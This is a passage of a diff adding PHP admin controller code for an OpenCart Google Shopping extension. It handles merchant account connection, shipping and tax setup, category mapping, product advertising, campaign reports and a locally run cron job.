+ // In case the merchant has made no decision about which GMC account to use, redirect to the form for connection
+ $this->response->redirect($this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (!$this->googleshopping->isStoreUrlClaimed()) {
+ if (empty($this->session->data['error'])) {
+ $this->session->data['error'] = $this->language->get('error_store_url_claim');
+ }
+
+ // In case the merchant has made no decision about which GMC account to use, redirect to the form for connection
+ $this->response->redirect($this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (count($this->googleshopping->getTargets($this->store_id)) == 0) {
+ $this->response->redirect($this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (!$this->setting->has('advertise_google_gmc_shipping_taxes_configured')) {
+ // In case the merchant has not set up shipping and taxes, redirect them to the form for shipping and taxes
+ $this->response->redirect($this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } else if (count($this->model_extension_advertise_google->getMapping($this->store_id)) == 0) {
+ // In case the merchant has not set up mapping, redirect them to the form for mapping
+ $this->response->redirect($this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ // Pull the campaign reports
+ $this->googleshopping->getCampaignReports();
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateSettings()) {
+ $this->applyNewSettings($this->request->post);
+
+ try {
+ // Profilactic target push, as sometimes targets are not initialized properly
+ $this->googleshopping->pushTargets();
+ $this->googleshopping->pushCampaignStatus();
+
+ $this->session->data['success'] = $this->language->get('success_index');
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data = array();
+
+ $data['text_connected'] = sprintf($this->language->get('text_connected'), $this->setting->get('advertise_google_gmc_account_id'));
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['error_cron_email'] = $this->getValidationError('cron_email');
+ $data['error_cron_acknowledge'] = $this->getValidationError('cron_acknowledge');
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $advertised_count = $this->model_extension_advertise_google->getAdvertisedCount($this->store_id);
+ $last_cron_executed = (int)$this->setting->get('advertise_google_cron_last_executed');
+
+ $data['warning'] = '';
+
+ if (!$this->setting->get('advertise_google_status') && $this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $data['warning'] = $this->language->get('warning_disabled');
+ } else if (!$this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $data['warning'] = sprintf($this->language->get('warning_no_active_campaigns'), $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true));
+ } else if ($advertised_count == 0) {
+ $data['warning'] = sprintf($this->language->get("warning_no_advertised_products"), $this->language->get("text_video_tutorial_url_advertise"));
+ } else if ($last_cron_executed + 24 * 60 * 60 <= time()) {
+ $data['warning'] = sprintf($this->language->get("warning_last_cron_executed"), $this->language->get("text_tutorial_cron"));
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $reporting_intervals = $this->config->get('advertise_google_reporting_intervals');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ $data['shipping_taxes'] = $this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true);
+ $data['campaign'] = $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true);
+ $data['mapping'] = $this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true);
+ $data['disconnect'] = $this->url->link('extension/advertise/google/disconnect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ $data['list_ads'] = html_entity_decode($this->url->link('extension/advertise/google/list_ads', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['advertise'] = html_entity_decode($this->url->link('extension/advertise/google/advertise', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_popup'] = html_entity_decode($this->url->link('extension/advertise/google/popup_product', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_category_autocomplete'] = html_entity_decode($this->url->link('extension/advertise/google/category_autocomplete', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_debug_log_download'] = html_entity_decode($this->url->link('extension/advertise/google/debug_log_download', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+
+ $data['advertise_google_status'] = $this->getSettingValue('advertise_google_status', 0);
+ $data['advertise_google_debug_log'] = $this->getSettingValue('advertise_google_debug_log', 0);
+ $data['advertise_google_cron_email_status'] = $this->getSettingValue('advertise_google_cron_email_status');
+ $data['advertise_google_cron_email'] = $this->getSettingValue('advertise_google_cron_email', $this->config->get('config_email'));
+ $data['advertise_google_cron_token'] = $this->getSettingValue('advertise_google_cron_token');
+ $data['advertise_google_cron_acknowledge'] = $this->getSettingValue('advertise_google_cron_acknowledge', null, true);
+
+ if (isset($this->request->post['advertise_google_reporting_interval'])) {
+ $data['advertise_google_reporting_interval'] = $this->request->post['advertise_google_reporting_interval'];
+ } else if ($this->setting->has('advertise_google_reporting_interval') && in_array($this->setting->get('advertise_google_reporting_interval'), $reporting_intervals)) {
+ $data['advertise_google_reporting_interval'] = $this->setting->get('advertise_google_reporting_interval');
+ } else {
+ $data['advertise_google_reporting_interval'] = $this->config->get('advertise_google_reporting_intervals_default');
+ }
+
+ $server = $this->googleshopping->getStoreUrl();
+
+ $data['advertise_google_cron_command'] = 'export CUSTOM_SERVER_NAME=' . parse_url($server, PHP_URL_HOST) . '; export CUSTOM_SERVER_PORT=443; export ADVERTISE_GOOGLE_CRON=1; export ADVERTISE_GOOGLE_STORE_ID=' . $this->store_id . '; ' . PHP_BINDIR . '/php -d session.save_path=' . session_save_path() . ' -d memory_limit=256M ' . DIR_SYSTEM . 'library/googleshopping/cron.php > /dev/null 2> /dev/null';
+
+ if (!$this->setting->get('advertise_google_cron_token')) {
+ $data['advertise_google_cron_token'] = md5(mt_rand());
+ }
+
+ $host_and_uri = parse_url($server, PHP_URL_HOST) . parse_url($server, PHP_URL_PATH);
+
+ $data['advertise_google_cron_url'] = 'https://' . rtrim($host_and_uri, '/') . '/index.php?route=extension/advertise/google/cron&cron_token={CRON_TOKEN}';
+
+ $data['reporting_intervals'] = array();
+
+ foreach ($reporting_intervals as $interval) {
+ $data['reporting_intervals'][$interval] = $this->language->get('text_reporting_interval_' . $interval);
+ }
+
+ $campaign_reports = $this->setting->get('advertise_google_report_campaigns');
+
+ $data['campaigns'] = $this->googleshopping->getTargets($this->store_id);
+
+ $data['text_report_date_range'] = sprintf($this->language->get('text_report_date_range'), $campaign_reports['date_range']);
+ $data['text_ads_intro'] = sprintf($this->language->get('text_ads_intro'), $data['shipping_taxes']);
+ $data['advertise_google_report_campaigns'] = $campaign_reports['reports'];
+ $data['text_panel_heading'] = sprintf($this->language->get('text_panel_heading'), $this->googleshopping->getStoreName());
+
+ $data['text_selection_all'] = str_replace("'", "\\'", $this->language->get('text_selection_all'));
+ $data['text_selection_page'] = str_replace("'", "\\'", $this->language->get('text_selection_page'));
+
+ $data['tab_settings'] = $this->load->view('extension/advertise/google_settings', $data);
+ $data['tab_ads'] = $this->load->view('extension/advertise/google_ads', $data);
+ $data['tab_reports'] = $this->load->view('extension/advertise/google_reports', $data);
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/advertise/google', $data));
+ }
+
+ public function debug_log_download() {
+ $filename = sprintf(Googleshopping::DEBUG_LOG_FILENAME, $this->store_id);
+
+ header('Pragma: no-cache');
+ header('Expires: 0');
+ header('Content-Description: File Transfer');
+ header('Content-Type: plain/text');
+ header('Content-Disposition: attachment; filename="' . $filename . '"');
+ header('Content-Transfer-Encoding: binary');
+
+ $file = DIR_LOGS . $filename;
+
+ if (file_exists($file)) {
+ readfile($file);
+ }
+
+ exit;
+ }
+
+ public function advertise() {
+ $this->load->language('extension/advertise/google');
+
+ $json = array(
+ 'success' => null,
+ 'redirect' => null,
+ 'error' => null,
+ 'warning' => null
+ );
+
+ if ($this->validatePermission()) {
+ $this->load->model('extension/advertise/google');
+
+ $select = array();
+ $filter_data = array();
+
+ if (!empty($this->request->post['all_pages'])) {
+ $filter_data = $this->getFilter($this->request->post['filter']);
+ } else if (isset($this->request->post['select']) && is_array($this->request->post['select'])) {
+ $select = $this->request->post['select'];
+ }
+
+ if (!empty($select) || !empty($filter_data)) {
+ $target_ids = !empty($this->request->post['target_ids']) ? $this->request->post['target_ids'] : array();
+
+ if (!empty($select)) {
+ $this->model_extension_advertise_google->setAdvertisingBySelect($select, $target_ids, $this->store_id);
+ } else if (!empty($filter_data)) {
+ $this->model_extension_advertise_google->setAdvertisingByFilter($filter_data, $target_ids, $this->store_id);
+ }
+
+ if (!empty($target_ids)) {
+ $json['success'] = $this->language->get('success_advertise_listed');
+ } else {
+ $json['success'] = $this->language->get('success_advertise_unlisted');
+ }
+ }
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ // Refresh warnings
+ $advertised_count = $this->model_extension_advertise_google->getAdvertisedCount($this->store_id);
+ $last_cron_executed = (int)$this->setting->get('advertise_google_cron_last_executed');
+
+ if (!$this->setting->get('advertise_google_status') && $this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $json['warning'] = $this->language->get('warning_disabled');
+ } else if (!$this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $json['warning'] = sprintf($this->language->get('warning_no_active_campaigns'), $this->url->link('extension/advertise/google/campaign', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true));
+ } else if ($advertised_count == 0) {
+ $json['warning'] = sprintf($this->language->get("warning_no_advertised_products"), $this->language->get("text_video_tutorial_url_advertise"));
+ } else if ($last_cron_executed + 24 * 60 * 60 <= time()) {
+ $json['warning'] = sprintf($this->language->get("warning_last_cron_executed"), $this->language->get("text_tutorial_cron"));
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function list_ads() {
+ $json = array();
+
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->insertNewProducts(array(), $this->store_id);
+
+ $this->load->language('extension/advertise/google');
+
+ $page = (int)$this->request->post['page'];
+
+ $filter_data = array(
+ 'sort' => $this->request->post['sort'],
+ 'order' => $this->request->post['order'],
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $filter_data = array_merge($filter_data, $this->getFilter($this->request->post['filter']));
+
+ $products = $this->googleshopping->getProducts($filter_data, $this->store_id);
+
+ $json['products'] = array_map(array($this, 'product'), $products);
+
+ $product_total = $this->googleshopping->getTotalProducts($filter_data, $this->store_id);
+
+ $pagination = new Pagination();
+ $pagination->total = $product_total;
+ $pagination->page = $this->request->post['page'];
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = '{page}';
+
+ $pages = ceil($product_total / $this->config->get('config_limit_admin'));
+
+ $json['showing'] = sprintf($this->language->get('text_pagination'), ($product_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($product_total - $this->config->get('config_limit_admin'))) ? $product_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $product_total, $pages);
+
+ $json['pagination'] = $pagination->render();
+ $json['total'] = (int)$product_total;
+ $json['pages'] = (int)$pages;
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function merchant() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_merchant'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validatePermission()) {
+ try {
+ $redirect_uri = html_entity_decode($this->url->link('extension/advertise/google/callback_merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $state = md5(microtime(true) . $redirect_uri . microtime(true));
+
+ $auth_url_data = array(
+ 'account_type' => $this->request->post['advertise_google_gmc_account_type'],
+ 'redirect_uri' => $redirect_uri . '&state=' . $state
+ );
+
+ $this->session->data['advertise_google'] = $auth_url_data;
+ $this->session->data['advertise_google']['state'] = $state;
+
+ $this->response->redirect($this->googleshopping->getMerchantAuthUrl($auth_url_data));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ $data['action'] = $this->url->link('extension/advertise/google/merchant', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->post['advertise_google_gmc_account_type'])) {
+ $data['advertise_google_gmc_account_type'] = $this->request->post['advertise_google_gmc_account_type'];
+ } else {
+ $data['advertise_google_gmc_account_type'] = 'api';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 2;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_merchant', $data));
+ }
+
+ public function shipping_taxes() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_shipping_taxes'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ $this->load->config('googleshopping/googleshopping');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateShippingAndTaxes()) {
+ try {
+ $this->applyNewSettings($this->request->post);
+
+ $this->googleshopping->pushShippingAndTaxes();
+
+ $this->applyNewSettings(array(
+ 'advertise_google_gmc_shipping_taxes_configured' => '1'
+ ));
+
+ $this->session->data['success'] = $this->language->get('success_shipping_taxes');
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $available_carriers = array();
+
+ try {
+ $available_carriers = $this->googleshopping->getAvailableCarriers();
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ if (isset($this->error['min_transit_time'])) {
+ $data['error_min_transit_time'] = $this->error['min_transit_time'];
+ } else {
+ $data['error_min_transit_time'] = '';
+ }
+
+ if (isset($this->error['max_transit_time'])) {
+ $data['error_max_transit_time'] = $this->error['max_transit_time'];
+ } else {
+ $data['error_max_transit_time'] = '';
+ }
+
+ if (isset($this->error['flat_rate'])) {
+ $data['error_flat_rate'] = $this->error['flat_rate'];
+ } else {
+ $data['error_flat_rate'] = '';
+ }
+
+ if (isset($this->error['carrier_postcode'])) {
+ $data['error_carrier_postcode'] = $this->error['carrier_postcode'];
+ } else {
+ $data['error_carrier_postcode'] = '';
+ }
+
+ if (isset($this->error['carrier_price_percentage'])) {
+ $data['error_carrier_price_percentage'] = $this->error['carrier_price_percentage'];
+ } else {
+ $data['error_carrier_price_percentage'] = '';
+ }
+
+ if (isset($this->error['carrier'])) {
+ $data['error_carrier'] = $this->error['carrier'];
+ } else {
+ $data['error_carrier'] = '';
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['from_dashboard'] = isset($this->request->get['from_dashboard']);
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ if ($data['from_dashboard']) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_shipping_taxes'),
+ 'href' => $this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true),
+ );
+ }
+
+ if ($data['from_dashboard']) {
+ $data['cancel'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ }
+
+ $data['action'] = $this->url->link('extension/advertise/google/shipping_taxes', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ if (isset($this->request->post['advertise_google_shipping_taxes'])) {
+ $data['advertise_google_shipping_taxes'] = $this->request->post['advertise_google_shipping_taxes'];
+ } else if ($this->setting->has('advertise_google_shipping_taxes')) {
+ $data['advertise_google_shipping_taxes'] = $this->setting->get('advertise_google_shipping_taxes');
+ } else {
+ $data['advertise_google_shipping_taxes'] = array(
+ 'shipping_type' => 'flat',
+ 'flat_rate' => $this->config->get('shipping_flat_cost'),
+ 'min_transit_time' => 1,
+ 'max_transit_time' => 14,
+ 'carrier_price_percentage' => 5,
+ 'tax_type' => $this->config->get('config_country_id') == 223 ? 'usa' : 'not_usa'
+ );
+ }
+
+ $data['available_carriers'] = $available_carriers;
+
+ $data['states'] = $this->config->get('advertise_google_tax_usa_states');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 4;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_shipping_taxes', $data));
+ }
+
+ public function mapping() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_mapping'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateMapping()) {
+ try {
+ foreach ($this->request->post['advertise_google_mapping'] as $google_product_category => $category_id) {
+ $this->model_extension_advertise_google->setCategoryMapping($google_product_category, $this->store_id, $category_id);
+ }
+
+ if (!empty($this->request->post['advertise_google_modify_existing'])) {
+ $this->model_extension_advertise_google->updateGoogleProductCategoryMapping($this->store_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('success_mapping');
+
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $this->response->redirect($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ } catch (\RuntimeException $e) {
+ $this->error['warning'] = $e->getMessage();
+ }
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['from_dashboard'] = isset($this->request->get['from_dashboard']);
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extensions'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true),
+ );
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true),
+ );
+
+ if ($data['from_dashboard']) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_shipping_taxes'),
+ 'href' => $this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&from_dashboard=true', true),
+ );
+ }
+
+ $this->load->config('googleshopping/googleshopping');
+
+ $data['mapping'] = array();
+
+ foreach ($this->config->get('advertise_google_google_product_categories') as $google_product_category_id => $google_product_category_name) {
+ if ($google_product_category_id == 0) continue;
+
+ $category_id = '';
+ $name = '';
+
+ if (null !== $category = $this->model_extension_advertise_google->getMappedCategory($google_product_category_id, $this->store_id)) {
+ $category_id = $category['category_id'];
+ $name = $category['name'];
+ }
+
+ $map = array(
+ 'google_product_category' => array(
+ 'id' => $google_product_category_id,
+ 'name' => $google_product_category_name
+ ),
+ 'oc_category' => array(
+ 'category_id' => $category_id,
+ 'name' => $name
+ )
+ );
+
+ $data['mapping'][] = $map;
+ }
+
+ $data['mapping_json'] = json_encode($data['mapping']);
+
+ if ($data['from_dashboard']) {
+ $data['cancel'] = $this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=advertise', true);
+ }
+
+ $data['action'] = $this->url->link('extension/advertise/google/mapping', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['url_mapping_verify'] = html_entity_decode($this->url->link('extension/advertise/google/mapping_verify', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ $data['url_category_autocomplete'] = html_entity_decode($this->url->link('extension/advertise/google/category_autocomplete', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $data['current_step'] = 5;
+ $data['steps'] = $this->load->view('extension/advertise/google_steps', $data);
+
+ $this->response->setOutput($this->load->view('extension/advertise/google_mapping', $data));
+ }
+
+ public function mapping_verify() {
+ $this->load->language('extension/advertise/google');
+
+ $this->load->model('extension/advertise/google');
+
+ $data = array();
+
+ $json = array(
+ 'submit_directly' => !$this->model_extension_advertise_google->isAnyProductCategoryModified($this->store_id),
+ 'modal_confirmation' => $this->load->view('extension/advertise/google_mapping_verify', $data)
+ );
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function campaign_test() {
+ $json = array(
+ 'status' => false,
+ 'redirect' => null,
+ 'error' => null
+ );
+
+ if ($this->validatePermission()) {
+ try {
+ $json['status'] = $this->googleshopping->testCampaigns();
+ } catch (ConnectionException $e) {
+ $this->session->data['error'] = $e->getMessage();
+
+ $json['redirect'] = html_entity_decode($this->url->link('extension/advertise/google/connect', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true), ENT_QUOTES, 'UTF-8');
+ } catch (\RuntimeException $e) {
+ $json['status'] = false;
+ $json['error'] = $e->getMessage();
+ }
+
+ $this->applyNewSettings(array(
+ 'advertise_google_can_edit_campaigns' => (int)$json['status']
+ ));
+ } else {
+ $json['error'] = $this->error['warning'];
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function campaign() {
+ $this->load->language('extension/advertise/google');
+
+ $this->document->setTitle($this->language->get('heading_campaign'));
+
+ $this->document->addStyle('view/stylesheet/googleshopping/stepper.css');
+
+ $this->load->model('extension/advertise/google');
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && $this->validateCampaign()) {
+ $this->applyNewSettings($this->request->post);
+
+ // If there is no redirect from the push of targets, go back to the extension dashboard
+ $this->response->redirect($this->url->link('extension/advertise/google', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'], true));
+ }
+
+ $data = array();
+
+ $data['error'] = '';
+
+ if (isset($this->session->data['error'])) {
+ $data['error'] = $this->session->data['error'];
+ unset($this->session->data['error']);
+ } else if (!empty($this->error['warning'])) {
+ $data['error'] = $this->error['warning'];
+ }
+
+ $data['success'] = '';
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+ unset($this->session->data['success']);
+ }
+
+ $data['warning'] = '';
+
+ if (!$this->setting->get('advertise_google_status') && $this->model_extension_advertise_google->hasActiveTarget($this->store_id)) {
+ $data['warning'] = $this->language->get('warning_paused_targets');
+ }
+
+ $data['from_dashboard'] = isset($this->request->get['from_dashboard']);
+
+ $data['breadcrumbs'] = array();
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true),
+ );
+ $data['breadcrumbs'][] = array(
